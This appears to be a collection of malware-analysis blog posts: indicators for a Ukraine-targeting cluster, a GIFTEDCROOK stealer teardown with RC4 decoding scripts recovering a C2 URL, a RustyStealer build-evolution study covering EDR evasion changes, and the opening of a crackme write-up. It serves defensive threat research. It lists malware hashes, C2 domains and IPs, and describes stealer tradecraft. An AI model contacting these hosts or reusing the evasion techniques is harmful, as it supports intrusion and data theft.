We also have the beacon template:

implant=v%u.%u.%u&host=%s&user=%s&pid=%lu&tid=%lu

Hashes are cheap. They change with every build.

The specific cryptographic routine and beacon format, however, are YARA-able and considerably stickier.

So, What Does SOLBIT Tell Us?

All of the surface-level signals, the Ukrainian lures, the UTC+2 metadata and the fact that the operation would supposedly “benefit Russia” point very obediently in the same direction.

But those are also the cheapest signals to plant.

The expensive, origin-bearing, deeper signals, the cryptographic routine, the implant PKI and the actors infrastructure discipline remain neutral for now.

They are strong enough to track GhostShell as an independent cluster, but not strong enough to attach a national flag to it.
There is also no meaningful surface-to-deep divergence that would scream false flag.
I simply do not yet have deep evidence identifying a sponsor.

In practical terms, SOLBIT allows me to anchor GhostShell as a distinct cluster through its implant CA, decryption routine and infrastructure patterns.

At the same time, it keeps the attribution honestly at the cluster level and prevents me from turning “they are targeting Ukraine” into a sponsor assessment that the available evidence simply does not support.

That is exactly what the model is for.

Previous Findings

I have already mentioned that the TA has been active since February 2026.
This is due to the registration of the first domain in February and public posts about the malware / C2 / Telegram

https://x.com/skocherhan/status/2040900975070753103


IoCs

ab5681266f70af7df24383f15de876e411fc18e35cb6f24603b12f580b05ccb3  122.exe
8de34006dafd990853a45cbe9aaab4ee18c8cd4c1ad0a98fe71f8d63cd60db25  22.exe
b1834634820ae696f0514ca2b6723061f115857232306e573f4d115bc6ead012  update.exe
423c98b9a8ad09bbb0aa24e86c23095ef6a26e30b3db07358927929d2fb2ecb3  client.key.pem
1d6f3e8583ce84b892097a03b0d4525850f8d3c59dea56482f17e5c44422dc89  client.cert.pem
c91874dc34e991e614060d6f16da7d4680e5eb7d36fba489644863f4c6c8cf66  config.pfx
a938b7291dbdcdcadb67d560b94bfee366e7f97f06d6f666b25e298c442d8542  БпЛА Besomar 3210.pdf
c5c458a7b1bdfa3cbffdbcd0791912ff19267ad2808a5266a9975b22a53e73e0  Зарядна станція.pdf
e4d377b339f96c69c3001b854b22decae41883bd31f2f5a8c20f57d931ae0b44  Катапульта.pdf
59842745dafd1537c3e2187f82fae7791e646a74251fe20d6c8ebaadf5720880  Комплектація БпЛА Besomar.pdf
54218a8f2d1acc5d1beb576b970bb5333a4b78b05493754d2d1457ebf22a0ac1  Модифікація Besomar 3210-N.pdf
3ec6c91d68b416381ac9f6310a9e011f4060369c63416021864a6d5b91e97dc4  Переваги співпраці.pdf
a8dfa5a35f30c1789ce08b7e16660423bb1545fc8ec7411d24cfd41d1439bb45  Про компанію.pdf
cff6007dbb9826d0a08865f47a71b31e90c5067c637ac863e360315da984f107  БпЛА Besomar 3210.pdf:.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_MicrosoftUpdate-1.302.1609.vbs
28f58061348a1c54fa6e7ff6618630259618d4afdf78514d5fccfc993797cdff  Besomar_documentation.rar
c83272741d42a7aa738fbad85e21d0565e50cbf3b72f32b835c225965b3cc207  122_stage2_unpacked.bin
cloudaxis.cc
https://cloudaxis[.]cc/gsmft/yueu/fkvqld/tvqqwh/ushu/122.exe
https://cloudaxis[.]cc/gsmft/yueu/fkvqld/tvqqwh/ushu/22.exe
https://cloudaxis[.]cc/gsmft/yueu/fkvqld/tvqqwh/ushu/update.exe
154.58.204[.]149
cdnexpress.cc
https://cdnexpress[.]cc/analytics
cdnexpress[.]cc
5.252.177[.]88
t.me/flufff6262
86.54.25[.]2
5.181.156[.]168:25475


Obfuscation Without Effort: Breaking a UAC-0226 GIFTEDCROOK Stealer

by Robin Dost


EDIT: I have YARA rules available for this one, if you need them, contact me at contact@robin-dost.de
Also, checkout my project KRAKEN if you’re interested in continuous threat actor tracking.

Lately I’ve been spending more time looking at malware targeting Ukraine and Europe. And yeah, a lot of it is neither new nor particularly creative. But it works. And that’s exactly why it’s worth digging into.

The sample we’re looking at here is fresh (from today, 09.04.2026), part of a UAC-0226 campaign and turns out to be a variant of the well-known GIFTEDCROOK stealer.

Initial access? Surprise: CVE-2025-6218 & CVE-2025-8088.
Maybe you already know this one from one of my previous articles.
A prepared archive, some basic social engineering, an LNK and the user still clicks it. End of story.

From there it’s the usual flow:

LNK launches payload
Payload decodes another binary
Binary initially looks like absolute garbage

Constants everywhere, useless function calls, pseudo-random noise. The classic “maybe the analyst just gives up” approach.

If you ignore all that noise, what’s actually happening becomes pretty obvious:

  • RC4-based encryption
  • Chunked data exfiltration
  • A simple but working exfil client
  • Runtime reconstructed C2

Nothing high-end. No fancy exploit chain fireworks.
Just cleanly glued together building blocks doing exactly what they’re supposed to do: grab data and ship it home.

And that’s exactly what makes this sample interesting.

So let’s take a look.


The sample has the hash
7200a9f1e1ea51b66ab9c9274e9d8f805633179634e8ff4dcb8ef82bc02518df

It’s a RAR archive and once extracted it’s immediately obvious the actor is abusing the WinRAR CVE to deliver the payload.

We’ve seen this before, for example with Gamaredon, but the execution here is slightly different.

We get a decoy PDF named:
“Відомості з реєстру військовозобов’язаних про працівників №20260409-7496423-1.pdf”

Roughly translated:
“Information from the Military Service Registry regarding employees No. 20260409-7496423-1.pdf”

So yeah, clearly targeting Ukraine.

Opening the PDF confirms the theme.

(Personal information has been redacted)

Alongside the PDF there are additional files:

  • ojMP31J28ohEDxT.lnk
  • Arj
  • 05fE

Naturally, we start with the LNK using lnkparse since that’s usually the entry point

We can see a PowerShell command that compiles the file “05fE”.

Easy to verify by just looking at the file:

The code is obfuscated, but nothing crazy.

Quick summary:

  • Random function names
  • Useless variables
  • Thousands of Write-Host calls -> pure noise
  • Sleep calls -> sandbox evasion

The key function is:

function table_pincenez_bruise()

This acts as a simple XOR/byte decoder.

We also see a lot of [Type]::(...).(...) usage, which is used for:

  • .NET reflection
  • Dynamically resolving WinAPI

Execution flow looks like this:

  1. Prepare shellcode
  2. Decrypt using (($value – $key) % 256)
  3. Allocate memory (VirtualAlloc)
  4. Write shellcode
  5. Start thread

At this point we have everything we need to reconstruct the decoded binary.

I threw together a quick script for that:

from pathlib import Path
import re
import hashlib
import subprocess

input_path = Path(r"Arj")
output_path = Path("decoded_arj.bin")

raw = input_path.read_bytes()

decoded = bytes(((b - 117) % 256) for b in raw)
output_path.write_bytes(decoded)
2a8ea9f1ad8936fb302243faa64b91c5767df411923715cbdb1a869e3bfd7e6d  decoded_arj.bin

Nice. Now we have the decoded payload.
Let’s throw it into Ghidra.

FUN_18008e2a0 -> Seed / Cookie Generation
FUN_18008e06c -> Dispatcher

This looks like a main dispatcher. Function FUN_1800189c0 stands out immediately.

The function is full of junk and noise with only a few real control paths hidden inside.
After going through it, a couple of functions are actually relevant. FUN_180001180

FUN_180001180

First it builds a 256-byte table:

local_128[0..255] = 0..255

Then

bVar24 = bVar24 + cVar4 + key[i % keylen]
swap(...)

That’s classic RC4 Key Scheduling (KSA)

It sets up a 256-byte state array (S-box) using the provided key. The algorithm starts with a simple identity permutation (0–255) and then shuffles it based on the key through a series of swaps. The process mixes the key material into the internal state, effectively “seeding” the cipher.

Once KSA is complete, the resulting permutation is used by the PRGA (Pseudo-Random Generation Algorithm) to produce the keystream that will later be XORed with the data

After that:

cVar4 = S[i]
j += cVar4
swap(...)
output = S[(cVar4 + S[i])]

-> That’s RC4 PRGA.
So part of the payload is RC4 encrypted, no surprises here

FUN_1800128a0

The key comes from here:

JtyIQxPND8G


his function also handles setting up and executing the HTTP communication

FUN_180014580

This is the file exfiltration function.
It loads data into memory and sends it to the C2

Chunk-size:

0x21400 = 136192 Bytes (~133 KB)

So data is sent in chunks.
Simple, works.

Sending to C2:


The network layer is most likely HTTP using WinHTTP or something similar.

Options are set, payload prepared, callback configured, request sent

Behavior


Behavior is straightforward:
Initial beacon Environment check If OK -> data exfiltration

To extract the C2 URL, we need to rebuild the RC4 decoding process.

Overall Architecture

Extracting the C2 URL

In the end we obviously want to extract the C2 URL.

For that we basically just need to rebuild the RC4 logic.

For this I jump to the memory region of DAT_1800b2ff2 and use those values to reconstruct the RC4 decoding.


I’ll just drop my script here in case anyone cares, I basically just reconstructed the logic in Python.

Source Code (Click to view)
def rc4_crypt(data: bytes, key: bytes) -> bytes:
    # KSA
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + key[i % len(key)]) & 0xFF
        s[i], s[j] = s[j], s[i]

    # PRGA
    i = 0
    j = 0
    out = bytearray()
    for b in data:
        i = (i + 1) & 0xFF
        j = (j + s[i]) & 0xFF
        s[i], s[j] = s[j], s[i]
        k = s[(s[i] + s[j]) & 0xFF]
        out.append(b ^ k)

    return bytes(out)

def run():
    encrypted = bytes([
        0x8A, 0xE5, 0xBA, 0x1E, 0x2C, 0x19, 0x48, 0xF0,
        0x8E, 0x3B, 0xED, 0x22, 0xED, 0xBE, 0xBE, 0x0D,
        0xCE, 0x6F, 0x72, 0x81, 0xD2, 0xD7, 0x52, 0xE9,
        0xD6, 0x8B, 0x14, 0x0A, 0x9A, 0x33, 0xF9
    ])

    key = b"JtyIQxPND8G"

    decrypted = rc4_crypt(encrypted, key)

    print("Raw bytes:", decrypted)
    print("ASCII:", decrypted.decode("utf-8", errors="replace"))


if __name__ == "__main__":
    run()
https://136.0.141[.]138:8406/rcv/

And if I open the URL in the browser:


There’s our candidate.

Certificate looks funny too:



The malware is a GIFTEDCROOK stealer variant used by UAC-0226.

Who is UAC-0226?

UAC-0226 is basically a designation used by Ukrainian CERT for a Russian-aligned threat actor group primarily targeting Ukraine.
Some of the artifacts and the tradecraft found currently and in the past make me also believe that this is a russian (speaking) threat actor, but that’s just me.
Their tradecraft is pretty straightforward “it works, so we use it” operations: a lot of phishing, archives, LNKs, then multi-stage payload chains.

Classic flow is: user clicks something > loader > next stage > eventually you end up with a stealer like GIFTEDCROOK.

What makes this interesting:

They don’t build ultra complex frameworks.
They build simple chains that are just obfuscated enough (RC4, some string garbage, staged decoding) to make analysis annoying, even if this one wasn’t exactly a masterpiece.

It’s not elegant, but effective enough and that’s exactly what makes them relevant for us 🙂

References:


https://cert.gov.ua/article/6282946
https://arcticwolf.com/resources/blog/giftedcrook-strategic-pivot-from-browser-stealer-to-data-exfiltration-platform/
https://malpedia.caad.fkie.fraunhofer.de/actor/uac-0226
https://socprime.com/de/blog/detect-uac-0226-attacks-against-ukraine/
https://netzpalaver.de/2025/06/27/cyberspionage-gruppe-uac-0226-hat-giftedcrook-zu-einem-umfassenden-exfiltrations-tool-ausgebaut/

RustyStealer: Your Compiler Is Snitching on You


by Robin Dost

As already mentioned in my last MuddyWater article, I originally planned to take a closer look at the remaining RustyWater samples in the hope of finding additional leftover artefacts. But: writing a pure “let’s grep a few more binaries for leftovers” follow-up article sounded painfully boring, both to read and to write. So instead of doing that, I decided to version the individual samples properly and build a small change-tracking timeline around them.

Mostly out of curiosity, partly out of stubbornness.
At least this way we get something that resembles actual analysis rather than archaeological string hunting.

Before diving into version diffs and timelines, it’s worth briefly grounding what we’re actually dealing with here, without turning this into a full-blown reverse engineering novella.

RustyStealer (sometimes referenced as RustyWater, Archer RAT or related variants in public reporting) is a Rust-based information stealer / RAT that has been observed in MuddyWater-attributed campaigns. In practice it behaves like a fairly typical post-compromise implant: basic host reconnaissance, security product awareness, persistence via registry, C2 communication and modular task execution. Nothing magical, nothing revolutionary, just a modernized tooling stack implemented in Rust instead of the usual C/C++ ecosystem. Here’s an article from cloudseek.com if you are interested in the details of it’s deliver and execution nature.


And that’s exactly where this article deliberately does not go: this is not a line-by-line teardown of every decoding routine, syscall wrapper or math loop. There are already reports on the internet that lovingly explain how a single function increments a counter.

What I’m interested in instead is how this thing evolves over time and how to track it

How do the binaries change between builds?
Which libs appear or disappear?
When does the architecture shift?
Where do experiments get rolled back?
Which parts get hardened, obfuscated or simplified?

The goal is to treat this malware family more like a software project with a messy commit history than a static artifact. By correlating compile timestamps, dependency fingerprints, fuzzy hashes, embedded artefacts and targeted code diffs, we can reconstruct a surprisingly coherent development timeline and extract signals about tooling maturity, experimentation phases and operational priorities .

And honestly: that’s way more fun than grepping strings all day and more useful for my threat actor research

For the analysis I used the following samples:

HashDate
e081bc408f73158c7338823f01455e4f5185a4365c8aad1d60d777e29166abbd08.01.2026
ddc6e6c76ac325d89799a50dffd11ec69ed3b5341740619b8e595b806822091408.01.2026
7523e53c979692f9eecff6ec760ac3df5b47f172114286e570b6bba3b2133f5808.01.2026
e61b2ed360052a256b3c8761f09d185dad15c67595599da3e587c2c553e8310808.01.2026
a2001892410e9f34ff0d02c8bc9e7c53b0bd10da58461e1e9eab26bdbf410c7910.01.2026

My First Step: I always start with the most low-effort signal: raw strings.
Sometimes you get lucky and developers leave behind absolute paths, usernames, toolchain artefacts or other accidental breadcrumbs.

The first thing I wanted to verify was whether any additional user paths were embedded in the samples:

for x in *.exe; do strings "$x" | r="$(strings "$x" | grep 'C:')"; if ! [ -z "$r" ]; then echo "$x $r\n"; fi ; done 

And yes, in two of the binaries we do indeed find another leftover artefact:

C:\Users\Bruno\Desktop\art.exe
C:\Users\Jacob\...

Just to be clear: the developer is almost certainly not named Bruno/Jacob.
This is simply the username of the build environment used at that time. Still, it gives us a nice anchor point when correlating samples later on.

Dependency extraction and library fingerprinting:

Next, I wanted to extract the dependency information from the binaries:

# get llvm strings
for x in *.exe; do strings "$x" | r="$(strings "$x" | grep 'llvm')"; if ! [ -z "$r" ]; then echo "$x $r\n"; fi ; done
# get crates with version and write to file sample.exe.strings
for x in *.exe; do strings "$x" | grep "crates\.io-" | cut -d'\' -f5 | sort | uniq >> "$x.strings" ;  done

This gives us a list of Rust crates and libraries that were present at build time:

From this output I consolidated a full list of all dependencies observed across all samples.
It already allows a first sanity check: are all samples built from the same dependency set or do we see deviations?

In total, the consolidated list contains 50 libraries, however, each individual sample only exposes around 44-45 crates.
That already tells us that not all builds are identical.

Here is the full list of observed libraries:

LibraryVersion
aead0.5.2
aes0.8.4
aes-gcm0.10.3
atomic-waker1.1.2
base640.22.1
bytes1.10.1
cipher0.4.4
ctr0.9.2
futures-channel0.3.31
futures-core0.3.31
futures-util0.3.31
generic-array0.14.7
h20.4.12
hashbrown0.15.5
http1.3.1
httpparse1.10.1
http-body-util1.7.0
hyper1.7.0
hyper-tls0.6.0
hyper-utils0.1.16
icu_collections2.0.0
icu_normalizer2.0.0
idna1.1.10
indexmap2.11.0
ipnet2.11.0
iri-string0.7.8
mio1.0.4
native-tls0.2.14
percent-encoding2.3.2
rand0.6.5
rand_core0.4.2
rand_hc0.1.0
rand_jitter0.1.4
reqwest0.12.23
schannel0.1.27
slab0.4.11
smallvec1.15.1
socket20.6.0
tokio1.47.1
tokio-native-tls0.3.1
tokio-util0.7.16
tower0.5.2
universal-hash0.5.1
url2.5.7
utf8_iter1.0.4
want0.3.1
windows-registry0.5.3
winreg0.55.0
rustc-demangle0.1.24
rustc-demangle0.1.26

Since we now know that differences exist, I built a per-sample matrix to visualize which libraries appear in which binary:

This makes deviations immediately visible without having to manually diff text dumps.

Compile timestamps

Before grouping anything, I also checked when the individual binaries were compiled.

This can be extracted using:

for x in *.exe; do printf "$x"; objdump -x "$x" | grep "Time/Date"; don

Result:

File HashCompile Date
ddc6e6c76ac325d89799a50dffd11ec69ed3b5341740619b8e595b8068220914Tue Sep 23 10:44:52 2025
e081bc408f73158c7338823f01455e4f5185a4365c8aad1d60d777e29166abbdSun Oct 19 21:17:34 2025
e61b2ed360052a256b3c8761f09d185dad15c67595599da3e587c2c553e83108Sun Nov 16 23:41:42 2025
a2001892410e9f34ff0d02c8bc9e7c53b0bd10da58461e1e9eab26bdbf410c79Sun Nov 16 23:41:42 2025
7523e53c979692f9eecff6ec760ac3df5b47f172114286e570b6bba3b2133f58Mon Jan 5 06:33:07 2026
TLSH similarity analysis

As a final preprocessing step I generated TLSH hashes for all samples.

TLSH is a fuzzy hashing algorithm that does not aim for exact equality, but instead quantifies structural similarity between files.
Unlike cryptographic hashes, TLSH allows us to estimate how closely two binaries resemble each other internally even if they differ in resources, padding, timestamps or small code changes.

For our malware analysis purpose, this is especially useful when clustering variants, detecting rebuilds and separating development branches.

To make the distances reproducible, I wrote a small script that computes TLSH values directly from the binaries and performs pairwise comparisons:

Clustering the samples

With all of this data available, we can now perform a reasonably robust clustering of the samples

The key point here is that no single metric is deciding on its own. Instead, the correlation of multiple independent signals matters:

  • TLSH similarity
  • Compile timestamps
  • Library fingerprints
  • Embedded user artefacts
Cluster 1: Core codebase

The first cluster represents the actual core of the codebase and contains the samples:

  • e081bc408f73158c7338823f01455e4f5185a4365c8aad1d60d777e29166abbd
  • e61b2ed360052a256b3c8761f09d185dad15c67595599da3e587c2c553e83108
  • a2001892410e9f34ff0d02c8bc9e7c53b0bd10da58461e1e9eab26bdbf410c79

All three share identical lib dependencies and are compiled close together in time, two of them even share the exact same compile timestamp. One sample also contains the user artefact "Bruno", which further hints to a consistent build environment.

Despite moderate TLSH distance to some variants, the internal similarity inside this cluster remains high enough to confidently assume a shared codebase.

Cluster 2: Early feature branch

A second, clearly separable cluster consists solely of:

  • ddc6e6c76ac325d89799a50dffd11ec69ed3b5341740619b8e595b8068220914

This sample extends the otherwise stable library stack with an additional winreg dependency while remaining TLSH-close to the core samples.
Combined with its earlier compile timestamp, i think this a temporary feature branch or experiment rather than a fully independent development line.

Cluster 3: Later modernization branch

The third cluster is represented by:

  • 7523e53c979692f9eecff6ec760ac3df5b47f172114286e570b6bba3b2133f58

The build differs by multiple additional libraries and introduces a newer version of rustc-demangle.
Additionally, a different username ("Jacob") appears in the artefacts.
While the TLSH distance still places this sample within the same family, it consistently sits outside the tighter core cluster range.
Taken together, this strongly indicates a later development branch with an updated toolchain and likely expanded functionality

Overall, this results in a three-tier model:

  • A stable core cluster forming the technical baseline
  • An early feature branch with minimal extension
  • A later modernization branch with a changed toolchain and build environment

My clustering is not driven by hash similarity alone, but only becomes reliable through the combined temporal, structural and artefact based corelation. It also provides insight into development practices, build discipline and potential role separation within the development process of the malware

Version mapping

Based on this clustering, I derived the following version mapping:

VersionSample (SHA256)Compile DateClusterBesonderheitenDeveloper
v0.9ddc6e6c76ac325d89799a50dffd11ec69ed3b5341740619b8e595b806822091423.09.2025Registry-Branch+ winreg library (Feature-Experiment)unknown
v1.0e081bc408f73158c7338823f01455e4f5185a4365c8aad1d60d777e29166abbd19.10.2025CoreBaseline ToolchainBruno
v1.1e61b2ed360052a256b3c8761f09d185dad15c67595599da3e587c2c553e8310816.11.2025CoreParallel Build, stabiler StackBruno
v1.1ba2001892410e9f34ff0d02c8bc9e7c53b0bd10da58461e1e9eab26bdbf410c7916.11.2025CoreParallel Build (gleicher Timestamp)Bruno
v2.07523e53c979692f9eecff6ec760ac3df5b47f172114286e570b6bba3b2133f5805.01.2026Jacob-BranchNeue Libs + neue rustc-demangleJacob

At this point we already have a solid structural overview without having touched the actual code yet. This part comes next.

For the code comparison I use Ghidras Version Tracking module. The versions will be analyzed in the following pairs:

v0.9 <-> v1.0
v1.0 <-> v1.1
v1.1 <-> v2.0

So three comparisons in total which honestly is still a very manageable workload

Let’s get started 🙂

Version Tracking workflow

I won’t go into a full tutorial on how Ghidras Version Tracking works. Instead, I’ll briefly outline my simple workflow for today.

First, I set the confidence filter to:

-1.0 -> 0.950

Everything above that can usually be assumed identical across samples. I select all those findings and accept them in bulk.

For the remaining findings, I set up a small quality-of-life shortcut:

SHIFT + T = Assign Tag

Then I filter the results by:

  • Tag (ascending)
  • Type (ascending)
  • Status (ascending)

and tighten the confidence filter slightly to:

-1.0 → 0.95

This gives me a clean view of all unresolved function-level differences without assigned tags, exactly the changes that matter most when identifying structural evolution.

It looks roughly like this:

The workflow is simple:

  • Select the next finding
  • Open code comparison (SHIFT + C)
  • If identical -> accept (SHIFT + A)
  • If different -> assign a tag for later analysis (SHIFT + T)

Once accepted or tagged, the finding disappears from the filtered view and I repeat the process.

I iterate this until all relevant changes are reviewed and documented.


RustyStealer: Evolution from v0.9 to v2.0

What changed, what failed and what the developer learned

During a longitudinal analysis of multiple RustyStealer builds, four development stages become visible for me: an early baseline version (v0.9), a cleanup iteration (v1.0), a short-lived performance refactor (v1.1) and a more fundamental architectural shift in v2.0.

Rather than showing linear feature growth, the samples show a realistic iterative engineering process with experimentation, rollback and eventual consolidation toward stealth and reliability.

This analysis focuses on behavioral deltas inferred from import-level changes and binary artifacts.


Version 0.9: Early baseline and rough edges

The earliest observed build (v0.9) represents a relatively raw implementation.

Notable characteristics:

  • Dependency artifacts included unused crates such as winreg / windows-registry ( i guess early experimentation or leftover scaffolding)
  • No meaningful behavioral differences compared to later v1.0 builds
  • No advanced memory manipulation or cryptographic primitives observed
  • Limited internal abstraction and minimal architectural complexity

From a development POV, v0.9 looks like a staging build that still contained residual dependencies and experimental code paths that were not yet cleaned up.


Version 1.0: Cleanup and stabilization

The transition from v0.9 to v1.0 did not introduce meaningful functional changes. The most visible difference was the removal of unused dependency artifacts (such as the winreg crate) without any observable change in imports or runtime behavior.

This looks more like a dependency cleanup rather than a behavioral refactor

Key observations:

  • No changes in imported Windows APIs
  • No observable change in capabilities or execution flow
  • Binary differences consistent with rebuild noise and dependency graph cleanup

This phase reflects basic project hygiene rather than feature development.


Version 1.1: Performance experiment and internal refactor

Version 1.1 marks the first technically ambitious change

Major changes observed:

Introduction of asynchronous and overlapped file I/O:

  • ReadFile, NtReadFile
  • GetOverlappedResult, CancelIo
  • Event-based synchronization (CreateEventW, WaitForMultipleObjects)

Migration to modern Windows path resolution via SHGetKnownFolderPath.

Explicit memory cleanup for shell APIs using CoTaskMemFree.

Removal of host fingerprinting:

  • GetComputerNameExW
  • GetUserNameW
  • NetGetJoinInformation

This version appears to have attempted:

  • Faster and more scalable file harvesting.
  • Cleaner filesystem abstraction.
  • Reduced behavioral noise by temporarily disabling host profiling.

However, asynchronous I/O pipelines significantly increase complexity and often cause instability in realworld environments
This version looks more like a technical experiment rather than a long term production design for me

Additional findings from later code diffs

Looking at later builds and comparing them back to this branch reveals several important follow-up changes that appear to originate from the 1.1 refactor.

String handling and Defender artefacts

Older builds still expose cleartext strings such as direct Windows Defender directory paths, making static detection trivial.
In later builds these strings disappear entirely and are reconstructed at runtime using multiple XOR-based decoding routines and different key constants.

I believe the outcome of the 1.1 refactor was the realization that static strings were becoming a liability, leading to systematic runtime string decryption in subsequent versions.

Collection handling and stability

Later builds include additional safety checks when aggregating dynamic collections (explicit overflow protection when joining result sets)
The same logic exists in earlier builds but is less defensive and less structured.

This points to stability issues encountered when processing larger data sets, which maybe were discovered during or shortly after the scalability experiments introduced in version 1.1.

Modular architecture continuity

Both older and newer builds continue to reference internal Rust modules such as:

  • src\modules\persist.rs
  • src\modules\interface.rs
  • src\modules\information.rs
  • src\modules\detect_av.rs

It confirms that the internal refactor in 1.1 successfully established a modular layout that later versions could iterate on without further structural changes.

Toolchain and build artefacts

Later samples expose more Rust toolchain artefacts (stable-x86_64 paths and related metadata) and show noticeable hash divergence despite similar functionality.
This looks like a change in compiler version or build environment after this refactor phase, which may also explain subtle behavioral and binary layout differences between closely related samples.

My take

Version 1.1 looks like the point where the developers started stress testing their own architecture.

They might have pushed performance and concurrency, simplified some noisy host profiling and cleaned up API usage.
The follow-up changes visible in later diffs show that this experiment exposed two main pain points:

  • Static strings and predictable artefacts were too easy to signature.
  • Increased scale and concurrency exposed stability issues in collection handling.

Instead of doubling down on complex async I/O, later versions appear to focus more on obfuscation, robustness and operational reliability, while keeping the modular structure introduced here.

imo 1.1 feels less like a production release and more like a learning phase that shaped the technical direction of everything that followed.


Version 2.0: Architectural consolidation and stealth optimization

Version 2.0 represents a clear update in development priorities.

Instead of further expanding the async pipeline, the developer reverted many of the experimental components and focused on stealth, operational control and internal maturity.

Major changes observed:

Removal of asynchronous file pipeline

All overlapped I/O and event-based sync primitives present in v1.1 have been fully removed in v2.0 and later builds. No replacement async scheduling mechanisms (IOCP, APCs, worker pools or deferred execution patterns) are observable in the call graph.

The runtime execution flow is now strictly sequential, with simplified synchronization primitives replacing the earlier concurrency model.
It looks like the experimental async pipeline was abandoned in favor of a more predictable and operationally stable execution model.
It reduces architectural complexity, lowers race condition risk and improves long-term stability across victim environments.
All overlapped I/O and event-based synchronization APIs were removed, indicating that the v1.1 experiment was abandoned in favor of a simpler and more predictable execution model.

Reintroduction of host fingerprinting

Host identification APIs returned:

  • GetComputerNameExW
  • GetUserNameW
  • NetGetJoinInformation

Focus on victim profiling, campaign correlation and backend attribution logic
The temporary removal in v1.1 now appears to have been an experimental privacy / noise reduction phase rather than a permanent design direction.

Migration towards native NT APIs

Several subsystems were migrated towards native system calls:

  • Named pipes moved from CreateNamedPipeW to NtCreateNamedPipeFile
  • File handling introduced NtOpenFile

This reduces visibility to user-mode API hooking and increases resistance against common EDR userland instrumentation.

Introduction of cryptographic randomness and entropy hardening

Version 2.0 introduces a dedicated entropy generation pipeline based on SystemFunction036 (RtlGenRandom), replacing the previously implicit and largely deterministic behavior.

Rather than simply requesting random bytes, the implementation builds a full entropy pool that combines cryptographically secure randomness with adaptive jitter-based sampling and internal quality validation.
The generated entropy is statistically evaluated at runtime and rejected if it fails basic stability and distribution thresholds.
Only entropy that passes these health checks is propagated further into the execution flow.

The call chain shows that the generated randomness directly feeds into subsequent runtime decoding routines, where multiple obfuscated data blocks are reconstructed through XOR-based transformations and dynamic key. In earlier versions, these decode paths relied almost entirely on static constants and predictable transformations.
In v2.0, parts of this process become entropy-dependent and therefore non-deterministic across executions

From an operational perspective this has several implications:

  • Runtime decoding behavior becomes less reproducible for static analysis and sandbox instrumentation.
  • Signature-based detection and clustering become more fragile, as internal state and derived values differ per execution.
  • Correlation across samples using hash similarity, instruction-level signatures or deterministic unpacking pipelines becomes significantly harder.
  • The malware gains a higher degree of resilience against emulation environments with weak or manipulated entropy sources.

While the mechanism could theoretically support use cases such as object naming, session identifiers or cryptographic material, the integration into the decode pipeline indicates more that the primary motivation is obfuscation hardening and stealth rather than feature expansion

It marks a shift in development priorities: the developers invest in making existing functionality harder to observe, reproduce and classify

Memory protection manipulation (VirtualProtect)

VirtualProtect appears in v2.0, but not as a generic “unpacking” indicator.

It is used to flip a read-only dispatch table to writable just long enough to store dynamically resolved API pointers, then lock it back down.
Thats consistent with the shift towards runtime API resolving and NT-level calls: fewer static imports, less signature surface and a resolver layer that is harder to tamper with or trivial hook

Internal synchronization refactor

Thread state handling was refactored away from TLS primitives and migrated towards modern synchronization APIs (InitializeCriticalSectionEx)

I think it’s for architectural cleanup and improved concurrency control.

Obfuscation hardening and decoder abstraction

Compared to version 1.1, version 2.0 further abstracts string decryption and reconstruction logic.
Previously visible XOR decoders with fixed constants and static data offsets were refactored into more generic reconstruction helpers and indirect decode routines.

This significantly reduces static signature stability and increases the effort required for automated clustering and YARA-style detection.

Improved memory lifecycle management and cleanup paths

Version 2.0 introduces more explicit cleanup sequences, callback-based destructors and tighter buffer lifecycle handling.

Multiple teardown paths now explicitly free dynamically allocated buffers, invoke destructor callbacks and normalize internal state after large collection operations.
It might be an effort to reduce memory leaks, crash probability and long-running instability during high-volume data processing.

Build pipeline evolution

Build artifacts show a different Rust toolchain and build environment compared to version 1.1.
Toolchain paths shifted from shared “Archer” layouts towards user-local rustup environments, explaining observed TLSH divergence despite largely stable runtime behavior.

This reflects internal “”””build pipeline”””” changes rather than functional malware changes.

Summary

Version 2.0 prioritizes:

  • Simplification and rollback of risky experimental I/O designs
  • Stronger stealth via native API usage and obfuscation hardening
  • Improved runtime stability and memory hygiene
  • Reintroduction of host profiling for operational correlation
  • Internal architectural consolidation rather than feature expansion

Overall, this release reflects a stabilization phase where operational reliability and detection resistance outweigh rapid feature development


Conclusion

If there’s one takeaway from this exercise, it’s that even relatively “boring” commodity implants become surprisingly interesting once you stop treating them as static blobs and start treating them like evolving software projects.

By correlating build artefacts, dependency drift, fuzzy hashes and targeted code diffs, we can reconstruct a fairly coherent development timeline for RustyStealer without having to reverse every single function into oblivion. We see experimentation phases (hello async pipeline), rollbacks when ideas don’t survive real-world friction, hardening towards stealth (dynamic API resolution, entropy injection) and the usual toolchain churn that comes with real developers shipping real code, even if that code happens to be malware.
None of this magically turns RustyStealer into some nextgen cyber superweapon. It’s still fundamentally a fairly standard implant doing fairly standard implant things.
Also it’s a nice reminder that “grep strings > extract a few IOCs > call it a day” only gets you so far. If you actually want to understand how an actor operates, what they experiment with and where their engineering effort goes, you have to look at trends, not snapshots.
Which admittedly takes more time, more coffee and slightly more patience than copy-pasting hashes into VirusTotal buuuut the payoff is a much clearer picture of what’s really going on under the hood.

There’s also a more general lesson in all of this imo

If the goal is to actually understand a threat actor, not just label a sample and move on, then obsessing over individual functions, opcodes and micro-optimizations only gets you part of the way.
That level of detail is useful, but it doesnt tell you how the tooling evolves, where engineering effort is invested, which ideas get abandoned or how operational priorities shift over time.
These signals live in the truly boring parts: build artefacts, dependency drift, architectural refactors, version churn and the occasional accidental breadcrumb left behind in a binary or wherever.
When you line those up over multiple samples, you start seeing intent and process instead of isolated behaviour and this exactly what we want ^-^

Crackme – RodrigoTeixeira’s Very easy disassembly execise


Since I want to dive deeper into reverse engineering, I’ve decided to regularly solve CrackMe challenges from https://crackmes.one; I’ll begin with low-difficulty ones and gradually work my way up to harder challenges.

I chose this approach because it’s a practical way to build and demonstrate the fundamentals, reverse engineering can be overwhelming at first, so starting with simpler tasks helps establish a reliable foundation.

Today’s CrackMe is by Rodrigo Teixeira and is rated 1.1 in difficulty; you can find it here: https://crackmes.one/crackme/68a346c48fac2855fe6fb6df.

Because this is a fairly simple exercise, I’ll analyze it with radare2 instead of Ghidra, partly to avoid making the task trivial and I’ll concentrate on how to translate assembly into readable pseudo-C code step by step.
I recommend gaining a basic understanding of Assembly and the C programming language before diving in. I’ll keep this write-up as beginner-friendly as possible and have included links to resources that explain any terminology that might be unfamiliar to newcomers, if you have any questions, feel free to contact me.

